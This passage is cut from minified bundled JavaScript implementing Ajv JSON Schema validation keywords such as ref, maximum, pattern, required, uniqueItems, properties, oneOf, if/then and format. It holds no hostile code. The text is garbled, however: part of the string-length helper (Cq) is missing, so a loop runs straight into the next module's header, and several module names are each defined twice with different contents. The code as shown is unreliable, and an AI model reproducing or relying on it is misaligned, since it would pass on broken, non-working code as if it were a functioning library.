d.validate?f.scopeValue("validate",{ref:d.validate}):(0,n._)`${f.scopeValue("wrapper",{ref:d})}.validate`}t.getValidate=c;function u(l,d,f,m){let{gen:g,it:b}=l,{allErrors:p,schemaEnv:h,opts:y}=b,v=y.passContext?a.default.this:n.nil;m?_():S();function _(){if(!h.$async)throw new Error("async schema referenced by sync schema");let T=g.let("valid");g.try(()=>{g.code((0,n._)`await ${(0,r.callValidateCode)(l,d,v)}`),E(d),p||g.assign(T,!0)},$=>{g.if((0,n._)`!(${$} instanceof ${b.ValidationError})`,()=>g.throw($)),x($),p||g.assign(T,!1)}),l.ok(T)}function S(){l.result((0,r.callValidateCode)(l,d,v),()=>E(d),()=>x(d))}function x(T){let $=(0,n._)`${T}.errors`;g.assign(a.default.vErrors,(0,n._)`${a.default.vErrors} === null ? ${$} : ${a.default.vErrors}.concat(${$})`),g.assign(a.default.errors,(0,n._)`${a.default.vErrors}.length`)}function E(T){var $;if(!b.opts.unevaluated)return;let N=($=f?.validate)===null||$===void 0?void 0:$.evaluated;if(b.props!==!0)if(N&&!N.dynamicProps)N.props!==void 0&&(b.props=i.mergeEvaluated.props(g,N.props,b.props));else{let j=g.var("props",(0,n._)`${T}.evaluated.props`);b.props=i.mergeEvaluated.props(g,j,b.props,n.Name)}if(b.items!==!0)if(N&&!N.dynamicItems)N.items!==void 0&&(b.items=i.mergeEvaluated.items(g,N.items,b.items));else{let j=g.var("items",(0,n._)`${T}.evaluated.items`);b.items=i.mergeEvaluated.items(g,j,b.items,n.Name)}}}t.callRef=u,t.default=o}),Rq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=kq(),r=$q(),n=["$schema","$id","$defs","$vocabulary",{keyword:"$comment"},"definitions",e.default,r.default];t.default=n}),Pq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=e.operators,n={maximum:{okStr:"<=",ok:r.LTE,fail:r.GT},minimum:{okStr:">=",ok:r.GTE,fail:r.LT},exclusiveMaximum:{okStr:"<",ok:r.LT,fail:r.GTE},exclusiveMinimum:{okStr:">",ok:r.GT,fail:r.LTE}},a={message:({keyword:i,schemaCode:o})=>(0,e.str)`must be ${n[i].okStr} ${o}`,params:({keyword:i,schemaCode:o})=>(0,e._)`{comparison: ${n[i].okStr}, limit: ${o}}`},s={keyword:Object.keys(n),type:"number",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u}=i;i.fail$data((0,e._)`${c} ${n[o].fail} ${u} || isNaN(${c})`)}};t.default=s}),Oq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message:({schemaCode:a})=>(0,e.str)`must be multiple of ${a}`,params:({schemaCode:a})=>(0,e._)`{multipleOf: ${a}}`},n={keyword:"multipleOf",type:"number",schemaType:"number",$data:!0,error:r,code(a){let{gen:s,data:i,schemaCode:o,it:c}=a,u=c.opts.multipleOfPrecision,l=s.let("res"),d=u?(0,e._)`Math.abs(Math.round(${l}) - ${l}) > 1e-${u}`:(0,e._)`${l} !== parseInt(${l})`;a.fail$data((0,e._)`(${o} === 0 || (${l} = ${i}/${o}, ${d}))`)}};t.default=n}),Cq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});function e(r){let n=r.length,a=0,s=0,i;for(;s=55296&&i<=56319&&s{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=Cq(),a={message({keyword:i,schemaCode:o}){let c=i==="maxLength"?"more":"fewer";return(0,e.str)`must NOT have ${c} than ${o} characters`},params:({schemaCode:i})=>(0,e._)`{limit: ${i}}`},s={keyword:["maxLength","minLength"],type:"string",schemaType:"number",$data:!0,error:a,code(i){let{keyword:o,data:c,schemaCode:u,it:l}=i,d=o==="maxLength"?e.operators.GT:e.operators.LT,f=l.opts.unicode===!1?(0,e._)`${c}.length`:(0,e._)`${(0,r.useFunc)(i.gen,n.default)}(${c})`;i.fail$data((0,e._)`${f} ${d} ${u}`)}};t.default=s}),Aq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=zr(),r=Be(),n={message:({schemaCode:s})=>(0,r.str)`must match pattern "${s}"`,params:({schemaCode:s})=>(0,r._)`{pattern: ${s}}`},a={keyword:"pattern",type:"string",schemaType:"string",$data:!0,error:n,code(s){let{data:i,$data:o,schema:c,schemaCode:u,it:l}=s,d=l.opts.unicodeRegExp?"u":"",f=o?(0,r._)`(new RegExp(${u}, ${d}))`:(0,e.usePattern)(s,c);s.fail$data((0,r._)`!${f}.test(${i})`)}};t.default=a}),Nq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message({keyword:a,schemaCode:s}){let i=a==="maxProperties"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} properties`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxProperties","minProperties"],type:"object",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxProperties"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`Object.keys(${i}).length ${c} ${o}`)}};t.default=n}),jq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=zr(),r=Be(),n=Xe(),a={message:({params:{missingProperty:i}})=>(0,r.str)`must have required property '${i}'`,params:({params:{missingProperty:i}})=>(0,r._)`{missingProperty: ${i}}`},s={keyword:"required",type:"object",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,schema:c,schemaCode:u,data:l,$data:d,it:f}=i,{opts:m}=f;if(!d&&c.length===0)return;let g=c.length>=m.loopRequired;if(f.allErrors?b():p(),m.strictRequired){let v=i.parentSchema.properties,{definedProperties:_}=i.it;for(let S of c)if(v?.[S]===void 0&&!_.has(S)){let x=f.schemaEnv.baseId+f.errSchemaPath,E=`required property "${S}" is not defined at "${x}" (strictRequired)`;(0,n.checkStrictMode)(f,E,f.opts.strictRequired)}}function b(){if(g||d)i.block$data(r.nil,h);else for(let v of c)(0,e.checkReportMissingProp)(i,v)}function p(){let v=o.let("missing");if(g||d){let _=o.let("valid",!0);i.block$data(_,()=>y(v,_)),i.ok(_)}else o.if((0,e.checkMissingProp)(i,c,v)),(0,e.reportMissingProp)(i,v),o.else()}function h(){o.forOf("prop",u,v=>{i.setParams({missingProperty:v}),o.if((0,e.noPropertyInData)(o,l,v,m.ownProperties),()=>i.error())})}function y(v,_){i.setParams({missingProperty:v}),o.forOf(v,u,()=>{o.assign(_,(0,e.propertyInData)(o,l,v,m.ownProperties)),o.if((0,r.not)(_),()=>{i.error(),o.break()})},r.nil)}}};t.default=s}),Mq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message({keyword:a,schemaCode:s}){let i=a==="maxItems"?"more":"fewer";return(0,e.str)`must NOT have ${i} than ${s} items`},params:({schemaCode:a})=>(0,e._)`{limit: ${a}}`},n={keyword:["maxItems","minItems"],type:"array",schemaType:"number",$data:!0,error:r,code(a){let{keyword:s,data:i,schemaCode:o}=a,c=s==="maxItems"?e.operators.GT:e.operators.LT;a.fail$data((0,e._)`${i}.length ${c} ${o}`)}};t.default=n}),Sm=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=al();e.code='require("ajv/dist/runtime/equal").default',t.default=e}),Dq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Gu(),r=Be(),n=Xe(),a=Sm(),s={message:({params:{i:o,j:c}})=>(0,r.str)`must NOT have duplicate items (items ## ${c} and ${o} are identical)`,params:({params:{i:o,j:c}})=>(0,r._)`{i: ${o}, j: ${c}}`},i={keyword:"uniqueItems",type:"array",schemaType:"boolean",$data:!0,error:s,code(o){let{gen:c,data:u,$data:l,schema:d,parentSchema:f,schemaCode:m,it:g}=o;if(!l&&!d)return;let b=c.let("valid"),p=f.items?(0,e.getSchemaTypes)(f.items):[];o.block$data(b,h,(0,r._)`${m} === false`),o.ok(b);function h(){let S=c.let("i",(0,r._)`${u}.length`),x=c.let("j");o.setParams({i:S,j:x}),c.assign(b,!0),c.if((0,r._)`${S} > 1`,()=>(y()?v:_)(S,x))}function y(){return p.length>0&&!p.some(S=>S==="object"||S==="array")}function v(S,x){let E=c.name("item"),T=(0,e.checkDataTypes)(p,E,g.opts.strictNumbers,e.DataType.Wrong),$=c.const("indices",(0,r._)`{}`);c.for((0,r._)`;${S}--;`,()=>{c.let(E,(0,r._)`${u}[${S}]`),c.if(T,(0,r._)`continue`),p.length>1&&c.if((0,r._)`typeof ${E} == "string"`,(0,r._)`${E} += "_"`),c.if((0,r._)`typeof ${$}[${E}] == "number"`,()=>{c.assign(x,(0,r._)`${$}[${E}]`),o.error(),c.assign(b,!1).break()}).code((0,r._)`${$}[${E}] = ${S}`)})}function _(S,x){let E=(0,n.useFunc)(c,a.default),T=c.name("outer");c.label(T).for((0,r._)`;${S}--;`,()=>c.for((0,r._)`${x} = ${S}; ${x}--;`,()=>c.if((0,r._)`${E}(${u}[${S}], ${u}[${x}])`,()=>{o.error(),c.assign(b,!1).break(T)})))}}};t.default=i}),qq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=Sm(),a={message:"must be equal to constant",params:({schemaCode:i})=>(0,e._)`{allowedValue: ${i}}`},s={keyword:"const",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schemaCode:l,schema:d}=i;u||d&&typeof d=="object"?i.fail$data((0,e._)`!${(0,r.useFunc)(o,n.default)}(${c}, ${l})`):i.fail((0,e._)`${d} !== ${c}`)}};t.default=s}),Lq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=Sm(),a={message:"must be equal to one of the allowed values",params:({schemaCode:i})=>(0,e._)`{allowedValues: ${i}}`},s={keyword:"enum",schemaType:"array",$data:!0,error:a,code(i){let{gen:o,data:c,$data:u,schema:l,schemaCode:d,it:f}=i;if(!u&&l.length===0)throw new Error("enum must have non-empty array");let m=l.length>=f.opts.loopEnum,g,b=()=>g??(g=(0,r.useFunc)(o,n.default)),p;if(m||u)p=o.let("valid"),i.block$data(p,h);else{if(!Array.isArray(l))throw new Error("ajv implementation error");let v=o.const("vSchema",d);p=(0,e.or)(...l.map((_,S)=>y(v,S)))}i.pass(p);function h(){o.assign(p,!1),o.forOf("v",d,v=>o.if((0,e._)`${b()}(${c}, ${v})`,()=>o.assign(p,!0).break()))}function y(v,_){let S=l[_];return typeof S=="object"&&S!==null?(0,e._)`${b()}(${c}, ${v}[${_}])`:(0,e._)`${c} === ${S}`}}};t.default=s}),Fq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Pq(),r=Oq(),n=Iq(),a=Aq(),s=Nq(),i=jq(),o=Mq(),c=Dq(),u=qq(),l=Lq(),d=[e.default,r.default,n.default,a.default,s.default,i.default,o.default,c.default,{keyword:"type",schemaType:["string","array"]},{keyword:"nullable",schemaType:"boolean"},u.default,l.default];t.default=d}),K1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateAdditionalItems=void 0;var e=Be(),r=Xe(),n={message:({params:{len:i}})=>(0,e.str)`must NOT have more than ${i} items`,params:({params:{len:i}})=>(0,e._)`{limit: ${i}}`},a={keyword:"additionalItems",type:"array",schemaType:["boolean","object"],before:"uniqueItems",error:n,code(i){let{parentSchema:o,it:c}=i,{items:u}=o;if(!Array.isArray(u)){(0,r.checkStrictMode)(c,'"additionalItems" is ignored when "items" is not an array of schemas');return}s(i,u)}};function s(i,o){let{gen:c,schema:u,data:l,keyword:d,it:f}=i;f.items=!0;let m=c.const("len",(0,e._)`${l}.length`);if(u===!1)i.setParams({len:o.length}),i.pass((0,e._)`${m} <= ${o.length}`);else if(typeof u=="object"&&!(0,r.alwaysValidSchema)(f,u)){let b=c.var("valid",(0,e._)`${m} <= ${o.length}`);c.if((0,e.not)(b),()=>g(b)),i.ok(b)}function g(b){c.forRange("i",o.length,m,p=>{i.subschema({keyword:d,dataProp:p,dataPropType:r.Type.Num},b),f.allErrors||c.if((0,e.not)(b),()=>c.break())})}}t.validateAdditionalItems=s,t.default=a}),X1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateTuple=void 0;var e=Be(),r=Xe(),n=zr(),a={keyword:"items",type:"array",schemaType:["object","array","boolean"],before:"uniqueItems",code(i){let{schema:o,it:c}=i;if(Array.isArray(o))return s(i,"additionalItems",o);c.items=!0,!(0,r.alwaysValidSchema)(c,o)&&i.ok((0,n.validateArray)(i))}};function s(i,o,c=i.schema){let{gen:u,parentSchema:l,data:d,keyword:f,it:m}=i;p(l),m.opts.unevaluated&&c.length&&m.items!==!0&&(m.items=r.mergeEvaluated.items(u,c.length,m.items));let g=u.name("valid"),b=u.const("len",(0,e._)`${d}.length`);c.forEach((h,y)=>{(0,r.alwaysValidSchema)(m,h)||(u.if((0,e._)`${b} > ${y}`,()=>i.subschema({keyword:f,schemaProp:y,dataProp:y},g)),i.ok(g))});function p(h){let{opts:y,errSchemaPath:v}=m,_=c.length,S=_===h.minItems&&(_===h.maxItems||h[o]===!1);if(y.strictTuples&&!S){let x=`"${f}" is ${_}-tuple, but minItems or maxItems/${o} are not specified or different at path "${v}"`;(0,r.checkStrictMode)(m,x,y.strictTuples)}}}t.validateTuple=s,t.default=a}),zq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=X1(),r={keyword:"prefixItems",type:"array",schemaType:["array"],before:"uniqueItems",code:n=>(0,e.validateTuple)(n,"items")};t.default=r}),Uq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n=zr(),a=K1(),s={message:({params:{len:o}})=>(0,e.str)`must NOT have more than ${o} items`,params:({params:{len:o}})=>(0,e._)`{limit: ${o}}`},i={keyword:"items",type:"array",schemaType:["object","boolean"],before:"uniqueItems",error:s,code(o){let{schema:c,parentSchema:u,it:l}=o,{prefixItems:d}=u;l.items=!0,!(0,r.alwaysValidSchema)(l,c)&&(d?(0,a.validateAdditionalItems)(o,d):o.ok((0,n.validateArray)(o)))}};t.default=i}),Hq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:({params:{min:s,max:i}})=>i===void 0?(0,e.str)`must contain at least ${s} valid item(s)`:(0,e.str)`must contain at least ${s} and no more than ${i} valid item(s)`,params:({params:{min:s,max:i}})=>i===void 0?(0,e._)`{minContains: ${s}}`:(0,e._)`{minContains: ${s}, maxContains: ${i}}`},a={keyword:"contains",type:"array",schemaType:["object","boolean"],before:"uniqueItems",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,data:u,it:l}=s,d,f,{minContains:m,maxContains:g}=c;l.opts.next?(d=m===void 0?1:m,f=g):d=1;let b=i.const("len",(0,e._)`${u}.length`);if(s.setParams({min:d,max:f}),f===void 0&&d===0){(0,r.checkStrictMode)(l,'"minContains" == 0 without "maxContains": "contains" keyword ignored');return}if(f!==void 0&&d>f){(0,r.checkStrictMode)(l,'"minContains" > "maxContains" is always invalid'),s.fail();return}if((0,r.alwaysValidSchema)(l,o)){let _=(0,e._)`${b} >= ${d}`;f!==void 0&&(_=(0,e._)`${_} && ${b} <= ${f}`),s.pass(_);return}l.items=!0;let p=i.name("valid");f===void 0&&d===1?y(p,()=>i.if(p,()=>i.break())):d===0?(i.let(p,!0),f!==void 0&&i.if((0,e._)`${u}.length > 0`,h)):(i.let(p,!1),h()),s.result(p,()=>s.reset());function h(){let _=i.name("_valid"),S=i.let("count",0);y(_,()=>i.if(_,()=>v(S)))}function y(_,S){i.forRange("i",0,b,x=>{s.subschema({keyword:"contains",dataProp:x,dataPropType:r.Type.Num,compositeRule:!0},_),S()})}function v(_){i.code((0,e._)`${_}++`),f===void 0?i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0).break()):(i.if((0,e._)`${_} > ${f}`,()=>i.assign(p,!1).break()),d===1?i.assign(p,!0):i.if((0,e._)`${_} >= ${d}`,()=>i.assign(p,!0)))}}};t.default=a}),Bq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateSchemaDeps=t.validatePropertyDeps=t.error=void 0;var e=Be(),r=Xe(),n=zr();t.error={message:({params:{property:c,depsCount:u,deps:l}})=>{let d=u===1?"property":"properties";return(0,e.str)`must have ${d} ${l} when property ${c} is present`},params:({params:{property:c,depsCount:u,deps:l,missingProperty:d}})=>(0,e._)`{property: ${c}, missingProperty: ${d}, depsCount: ${u}, - deps: ${l}}`};var a={keyword:"dependencies",type:"object",schemaType:"object",error:t.error,code(c){let[u,l]=s(c);i(c,u),o(c,l)}};function s({schema:c}){let u={},l={};for(let d in c){if(d==="__proto__")continue;let f=Array.isArray(c[d])?u:l;f[d]=c[d]}return[u,l]}function i(c,u=c.schema){let{gen:l,data:d,it:f}=c;if(Object.keys(u).length===0)return;let m=l.let("missing");for(let g in u){let b=u[g];if(b.length===0)continue;let p=(0,n.propertyInData)(l,d,g,f.opts.ownProperties);c.setParams({property:g,depsCount:b.length,deps:b.join(", ")}),f.allErrors?l.if(p,()=>{for(let h of b)(0,n.checkReportMissingProp)(c,h)}):(l.if((0,e._)`${p} && (${(0,n.checkMissingProp)(c,b,m)})`),(0,n.reportMissingProp)(c,m),l.else())}}t.validatePropertyDeps=i;function o(c,u=c.schema){let{gen:l,data:d,keyword:f,it:m}=c,g=l.name("valid");for(let b in u)(0,r.alwaysValidSchema)(m,u[b])||(l.if((0,n.propertyInData)(l,d,b,m.opts.ownProperties),()=>{let p=c.subschema({keyword:f,schemaProp:b},g);c.mergeValidEvaluated(p,g)},()=>l.var(g,!0)),c.ok(g))}t.validateSchemaDeps=o,t.default=a}),Sq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:"property name must be valid",params:({params:s})=>(0,e._)`{propertyName: ${s.propertyName}}`},a={keyword:"propertyNames",type:"object",schemaType:["object","boolean"],error:n,code(s){let{gen:i,schema:o,data:c,it:u}=s;if((0,r.alwaysValidSchema)(u,o))return;let l=i.name("valid");i.forIn("key",c,d=>{s.setParams({propertyName:d}),s.subschema({keyword:"propertyNames",data:d,dataTypes:["string"],propertyName:d,compositeRule:!0},l),i.if((0,e.not)(l),()=>{s.error(!0),u.allErrors||i.break()})}),s.ok(l)}};t.default=a}),z1=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Dr(),r=Be(),n=Ua(),a=Xe(),s={message:"must NOT have additional properties",params:({params:o})=>(0,r._)`{additionalProperty: ${o.additionalProperty}}`},i={keyword:"additionalProperties",type:["object"],schemaType:["boolean","object"],allowUndefined:!0,trackErrors:!0,error:s,code(o){let{gen:c,schema:u,parentSchema:l,data:d,errsCount:f,it:m}=o;if(!f)throw new Error("ajv implementation error");let{allErrors:g,opts:b}=m;if(m.props=!0,b.removeAdditional!=="all"&&(0,a.alwaysValidSchema)(m,u))return;let p=(0,e.allSchemaProperties)(l.properties),h=(0,e.allSchemaProperties)(l.patternProperties);y(),o.ok((0,r._)`${f} === ${n.default.errors}`);function y(){c.forIn("key",d,w=>{!p.length&&!h.length?S(w):c.if(v(w),()=>S(w))})}function v(w){let T;if(p.length>8){let R=(0,a.schemaRefOrVal)(m,l.properties,"properties");T=(0,e.isOwnProperty)(c,R,w)}else p.length?T=(0,r.or)(...p.map(R=>(0,r._)`${w} === ${R}`)):T=r.nil;return h.length&&(T=(0,r.or)(T,...h.map(R=>(0,r._)`${(0,e.usePattern)(o,R)}.test(${w})`))),(0,r.not)(T)}function _(w){c.code((0,r._)`delete ${d}[${w}]`)}function S(w){if(b.removeAdditional==="all"||b.removeAdditional&&u===!1){_(w);return}if(u===!1){o.setParams({additionalProperty:w}),o.error(),g||c.break();return}if(typeof u=="object"&&!(0,a.alwaysValidSchema)(m,u)){let T=c.name("valid");b.removeAdditional==="failing"?(x(w,T,!1),c.if((0,r.not)(T),()=>{o.reset(),_(w)})):(x(w,T),g||c.if((0,r.not)(T),()=>c.break()))}}function x(w,T,R){let A={keyword:"additionalProperties",dataProp:w,dataPropType:a.Type.Str};R===!1&&Object.assign(A,{compositeRule:!0,createErrors:!1,allErrors:!1}),o.subschema(A,T)}}};t.default=i}),Eq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=al(),r=Dr(),n=Xe(),a=z1(),s={keyword:"properties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,parentSchema:u,data:l,it:d}=i;d.opts.removeAdditional==="all"&&u.additionalProperties===void 0&&a.default.code(new e.KeywordCxt(d,a.default,"additionalProperties"));let f=(0,r.allSchemaProperties)(c);for(let h of f)d.definedProperties.add(h);d.opts.unevaluated&&f.length&&d.props!==!0&&(d.props=n.mergeEvaluated.props(o,(0,n.toHash)(f),d.props));let m=f.filter(h=>!(0,n.alwaysValidSchema)(d,c[h]));if(m.length===0)return;let g=o.name("valid");for(let h of m)b(h)?p(h):(o.if((0,r.propertyInData)(o,l,h,d.opts.ownProperties)),p(h),d.allErrors||o.else().var(g,!0),o.endIf()),i.it.definedProperties.add(h),i.ok(g);function b(h){return d.opts.useDefaults&&!d.compositeRule&&c[h].default!==void 0}function p(h){i.subschema({keyword:"properties",schemaProp:h,dataProp:h},g)}}};t.default=s}),Tq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Dr(),r=Be(),n=Xe(),a=Xe(),s={keyword:"patternProperties",type:"object",schemaType:"object",code(i){let{gen:o,schema:c,data:u,parentSchema:l,it:d}=i,{opts:f}=d,m=(0,e.allSchemaProperties)(c),g=m.filter(S=>(0,n.alwaysValidSchema)(d,c[S]));if(m.length===0||g.length===m.length&&(!d.opts.unevaluated||d.props===!0))return;let b=f.strictSchema&&!f.allowMatchingProperties&&l.properties,p=o.name("valid");d.props!==!0&&!(d.props instanceof r.Name)&&(d.props=(0,a.evaluatedPropsToName)(o,d.props));let{props:h}=d;y();function y(){for(let S of m)b&&v(S),d.allErrors?_(S):(o.var(p,!0),_(S),o.if(p))}function v(S){for(let x in b)new RegExp(S).test(x)&&(0,n.checkStrictMode)(d,`property ${x} matches pattern ${S} (use allowMatchingProperties)`)}function _(S){o.forIn("key",u,x=>{o.if((0,r._)`${(0,e.usePattern)(i,S)}.test(${x})`,()=>{let w=g.includes(S);w||i.subschema({keyword:"patternProperties",schemaProp:S,dataProp:x,dataPropType:a.Type.Str},p),d.opts.unevaluated&&h!==!0?o.assign((0,r._)`${h}[${x}]`,!0):!w&&!d.allErrors&&o.if((0,r.not)(p),()=>o.break())})})}}};t.default=s}),kq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:"not",schemaType:["object","boolean"],trackErrors:!0,code(n){let{gen:a,schema:s,it:i}=n;if((0,e.alwaysValidSchema)(i,s)){n.fail();return}let o=a.name("valid");n.subschema({keyword:"not",compositeRule:!0,createErrors:!1,allErrors:!1},o),n.failResult(o,()=>n.reset(),()=>n.error())},error:{message:"must NOT be valid"}};t.default=r}),Rq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Dr(),r={keyword:"anyOf",schemaType:"array",trackErrors:!0,code:e.validateUnion,error:{message:"must match a schema in anyOf"}};t.default=r}),$q=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:"must match exactly one schema in oneOf",params:({params:s})=>(0,e._)`{passingSchemas: ${s.passing}}`},a={keyword:"oneOf",schemaType:"array",trackErrors:!0,error:n,code(s){let{gen:i,schema:o,parentSchema:c,it:u}=s;if(!Array.isArray(o))throw new Error("ajv implementation error");if(u.opts.discriminator&&c.discriminator)return;let l=o,d=i.let("valid",!1),f=i.let("passing",null),m=i.name("_valid");s.setParams({passing:f}),i.block(g),s.result(d,()=>s.reset(),()=>s.error(!0));function g(){l.forEach((b,p)=>{let h;(0,r.alwaysValidSchema)(u,b)?i.var(m,!0):h=s.subschema({keyword:"oneOf",schemaProp:p,compositeRule:!0},m),p>0&&i.if((0,e._)`${m} && ${d}`).assign(d,!1).assign(f,(0,e._)`[${f}, ${p}]`).else(),i.if(m,()=>{i.assign(d,!0),i.assign(f,p),h&&s.mergeEvaluated(h,e.Name)})})}}};t.default=a}),Pq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:"allOf",schemaType:"array",code(n){let{gen:a,schema:s,it:i}=n;if(!Array.isArray(s))throw new Error("ajv implementation error");let o=a.name("valid");s.forEach((c,u)=>{if((0,e.alwaysValidSchema)(i,c))return;let l=n.subschema({keyword:"allOf",schemaProp:u},o);n.ok(o),n.mergeEvaluated(l)})}};t.default=r}),Oq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Xe(),n={message:({params:i})=>(0,e.str)`must match "${i.ifClause}" schema`,params:({params:i})=>(0,e._)`{failingKeyword: ${i.ifClause}}`},a={keyword:"if",schemaType:["object","boolean"],trackErrors:!0,error:n,code(i){let{gen:o,parentSchema:c,it:u}=i;c.then===void 0&&c.else===void 0&&(0,r.checkStrictMode)(u,'"if" without "then" and "else" is ignored');let l=s(u,"then"),d=s(u,"else");if(!l&&!d)return;let f=o.let("valid",!0),m=o.name("_valid");if(g(),i.reset(),l&&d){let p=o.let("ifClause");i.setParams({ifClause:p}),o.if(m,b("then",p),b("else",p))}else l?o.if(m,b("then")):o.if((0,e.not)(m),b("else"));i.pass(f,()=>i.error(!0));function g(){let p=i.subschema({keyword:"if",compositeRule:!0,createErrors:!1,allErrors:!1},m);i.mergeEvaluated(p)}function b(p,h){return()=>{let y=i.subschema({keyword:p},m);o.assign(f,m),i.mergeValidEvaluated(y,f),h?o.assign(h,(0,e._)`${p}`):i.setParams({ifClause:p})}}}};function s(i,o){let c=i.schema[o];return c!==void 0&&!(0,r.alwaysValidSchema)(i,c)}t.default=a}),Cq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Xe(),r={keyword:["then","else"],schemaType:["object","boolean"],code({keyword:n,parentSchema:a,it:s}){a.if===void 0&&(0,e.checkStrictMode)(s,`"${n}" without "if" is ignored`)}};t.default=r}),Iq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=L1(),r=_q(),n=F1(),a=bq(),s=xq(),i=wq(),o=Sq(),c=z1(),u=Eq(),l=Tq(),d=kq(),f=Rq(),m=$q(),g=Pq(),b=Oq(),p=Cq();function h(y=!1){let v=[d.default,f.default,m.default,g.default,b.default,p.default,o.default,c.default,i.default,u.default,l.default];return y?v.push(r.default,a.default):v.push(e.default,n.default),v.push(s.default),v}t.default=h}),Aq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r={message:({schemaCode:a})=>(0,e.str)`must match format "${a}"`,params:({schemaCode:a})=>(0,e._)`{format: ${a}}`},n={keyword:"format",type:["number","string"],schemaType:"string",$data:!0,error:r,code(a,s){let{gen:i,data:o,$data:c,schema:u,schemaCode:l,it:d}=a,{opts:f,errSchemaPath:m,schemaEnv:g,self:b}=d;if(!f.validateFormats)return;c?p():h();function p(){let y=i.scopeValue("formats",{ref:b.formats,code:f.code.formats}),v=i.const("fDef",(0,e._)`${y}[${l}]`),_=i.let("fType"),S=i.let("format");i.if((0,e._)`typeof ${v} == "object" && !(${v} instanceof RegExp)`,()=>i.assign(_,(0,e._)`${v}.type || "string"`).assign(S,(0,e._)`${v}.validate`),()=>i.assign(_,(0,e._)`"string"`).assign(S,v)),a.fail$data((0,e.or)(x(),w()));function x(){return f.strictSchema===!1?e.nil:(0,e._)`${l} && !${S}`}function w(){let T=g.$async?(0,e._)`(${v}.async ? await ${S}(${o}) : ${S}(${o}))`:(0,e._)`${S}(${o})`,R=(0,e._)`(typeof ${S} == "function" ? ${T} : ${S}.test(${o}))`;return(0,e._)`${S} && ${S} !== true && ${_} === ${s} && !${R}`}}function h(){let y=b.formats[u];if(!y){x();return}if(y===!0)return;let[v,_,S]=w(y);v===s&&a.pass(T());function x(){if(f.strictSchema===!1){b.logger.warn(R());return}throw new Error(R());function R(){return`unknown format "${u}" ignored in schema at path "${m}"`}}function w(R){let A=R instanceof RegExp?(0,e.regexpCode)(R):f.code.formats?(0,e._)`${f.code.formats}${(0,e.getProperty)(u)}`:void 0,j=i.scopeValue("formats",{key:u,ref:R,code:A});return typeof R=="object"&&!(R instanceof RegExp)?[R.type||"string",R.validate,(0,e._)`${j}.validate`]:["string",R,j]}function T(){if(typeof y=="object"&&!(y instanceof RegExp)&&y.async){if(!g.$async)throw new Error("async format in sync schema");return(0,e._)`await ${S}(${o})`}return typeof _=="function"?(0,e._)`${S}(${o})`:(0,e._)`${S}.test(${o})`}}}};t.default=n}),Nq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Aq(),r=[e.default];t.default=r}),jq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contentVocabulary=t.metadataVocabulary=void 0,t.metadataVocabulary=["title","description","default","deprecated","readOnly","writeOnly","examples"],t.contentVocabulary=["contentMediaType","contentEncoding","contentSchema"]}),Mq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=iq(),r=yq(),n=Iq(),a=Nq(),s=jq(),i=[e.default,r.default,(0,n.default)(),a.default,s.metadataVocabulary,s.contentVocabulary];t.default=i}),Dq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.DiscrError=void 0;var e;(function(r){r.Tag="tag",r.Mapping="mapping"})(e||(t.DiscrError=e={}))}),qq=ee(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Be(),r=Dq(),n=bm(),a=nl(),s=Xe(),i={message:({params:{discrError:c,tagName:u}})=>c===r.DiscrError.Tag?`tag "${u}" must be string`:`value of tag "${u}" must be in oneOf`,params:({params:{discrError:c,tag:u,tagName:l}})=>(0,e._)`{error: ${c}, tag: ${l}, 